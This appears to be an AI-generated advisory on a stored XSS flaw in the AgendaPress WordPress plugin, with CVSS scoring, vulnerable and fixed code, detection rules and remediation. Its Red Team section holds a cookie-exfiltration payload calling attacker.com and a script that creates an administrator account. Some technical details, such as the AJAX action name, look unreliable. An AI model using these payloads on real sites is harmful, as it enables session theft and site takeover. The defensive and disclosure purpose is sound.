CVE-2024-51807

Executive Summary

CVE-2024-51807 is a Stored Cross-Site Scripting (XSS) vulnerability in the AgendaPress – Easily Publish Meeting Agendas and Programs on WordPress plugin, affecting versions up to and including 1.0.8. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into meeting agenda entries. When a site administrator or other user views the compromised agenda, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch is available, and the vendor (Black and White) has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. However, the risk extends to any WordPress site using the plugin, as the supply chain is directly tied to the WordPress plugin directory. Administrators should verify the integrity of the plugin file (agendapress.zip) by checking its SHA-256 hash against the official repository before installation. No known malicious forks or backdoored versions have been identified at this time.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must view the malicious agenda.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Content can be modified.
• Availability (A): Low (L) – Minor disruption possible.

CVSS Score: 6.5 (Medium)
Threat Level: Moderate – Exploitation requires authenticated access, but the impact can be severe if a privileged user is targeted.

Deep Dive & Mechanics

The vulnerability exists in the agendapress plugin's agenda creation and editing functionality. When a user with contributor-level privileges or higher creates or edits a meeting agenda, the plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database. Specifically, the agenda_title, agenda_description, and agenda_speaker fields are vulnerable. The stored data is later rendered on the front-end without proper output encoding, allowing arbitrary HTML and JavaScript to execute.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses_post() on the stored values. The input is likely processed via $_POST or $_GET and directly inserted into the database via $wpdb->insert() without sanitization.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new agenda item, injecting a payload like <script>alert('XSS')</script> into the agenda_title field.
3. The payload is stored in the wp_agendapress_agendas table.
4. When an administrator or any user views the agenda list or single agenda page, the payload executes in their browser.
5. The attacker can escalate to session theft, admin account creation, or site defacement.

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable code pattern and a hypothetical fix.

Vulnerable Code (agendapress/includes/class-agendapress-admin.php):

// Vulnerable: Direct output without escaping
function display_agenda($agenda_id) {
    global $wpdb;
    $agenda = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}agendapress_agendas WHERE id = %d", $agenda_id));
    echo "<h2>" . $agenda->agenda_title . "</h2>"; // No escaping
    echo "<p>" . $agenda->agenda_description . "</p>"; // No escaping
}

Patched Code (Hypothetical Fix):

function display_agenda($agenda_id) {
    global $wpdb;
    $agenda = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}agendapress_agendas WHERE id = %d", $agenda_id));
    echo "<h2>" . esc_html($agenda->agenda_title) . "</h2>"; // Escaped
    echo "<p>" . esc_html($agenda->agenda_description) . "</p>"; // Escaped
}

Additionally, input sanitization should be applied on save:

// In save function
$agenda_title = sanitize_text_field($_POST['agenda_title']);
$agenda_description = wp_kses_post($_POST['agenda_description']);

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with AgendaPress <= 1.0.8 installed and activated.
• Contributor-level user account (or higher).

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to wp-admin/admin.php?page=agendapress-add-agenda.
3. In the "Agenda Title" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Fill in other required fields and submit.
5. Wait for an administrator to view the agenda list at wp-admin/admin.php?page=agendapress-agendas.
6. The admin's session cookie is exfiltrated to the attacker's server.

Advanced Payload (Admin Account Creation):

<script>
var ajaxurl = '/wp-admin/admin-ajax.php';
var data = new FormData();
data.append('action', 'wp_ajax_add_user');
data.append('user_login', 'attacker');
data.append('user_pass', 'P@ssw0rd!');
data.append('role', 'administrator');
fetch(ajaxurl, {method: 'POST', body: data, credentials: 'include'});
</script>

Blue Team

Detection & Prevention:

• Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST parameters (e.g., <script, onerror=, javascript:).
• Input Validation: Use WordPress built-in functions like sanitize_text_field() and wp_kses_post() on all user inputs.
• Output Escaping: Always use esc_html(), esc_attr(), or wp_kses() when rendering user data.
• Content Security Policy (CSP): Implement a strict CSP header to block inline scripts:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

• Plugin Hardening: Disable the plugin until a patch is available, or remove it entirely.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains containing ?cookie= or ?data= parameters.
  • POST requests to /wp-admin/admin-ajax.php with action=wp_ajax_add_user from non-admin IPs.
• File IOCs:
  • Modified wp-content/plugins/agendapress/ files (check file integrity via checksums).
  • Suspicious entries in wp_agendapress_agendas table containing <script> tags.
• Log IOCs:
  • WordPress debug log entries showing wp_ajax_add_user action from unexpected users.
  • Web server access logs showing GET /wp-admin/admin.php?page=agendapress-agendas followed by unusual outbound connections.

Detection Engineering

YARA Rule

rule CVE_2024_51807_AgendaPress_XSS {
    meta:
        description = "Detects stored XSS payloads in AgendaPress plugin database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51807"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $agendapress_table = /wp_agendapress_agendas/
    condition:
        $agendapress_table and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in AgendaPress Plugin
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential stored XSS payloads in AgendaPress plugin database entries
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Custom event for plugin data
        Data|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in agenda descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51807 AgendaPress Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_ajax_add_user"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to wp-admin/plugins.php and deactivate "AgendaPress".
2. Remove all stored XSS payloads from the database:

   DELETE FROM wp_agendapress_agendas WHERE agenda_title LIKE '%<script%' OR agenda_description LIKE '%<script%';
   

3. Change all WordPress admin passwords and invalidate existing sessions.

Long-term Mitigation:

• Monitor the plugin repository for updates. If no patch is released within 30 days, consider migrating to an alternative plugin.
• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers on the WordPress site.
• Conduct regular security audits of all installed plugins.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.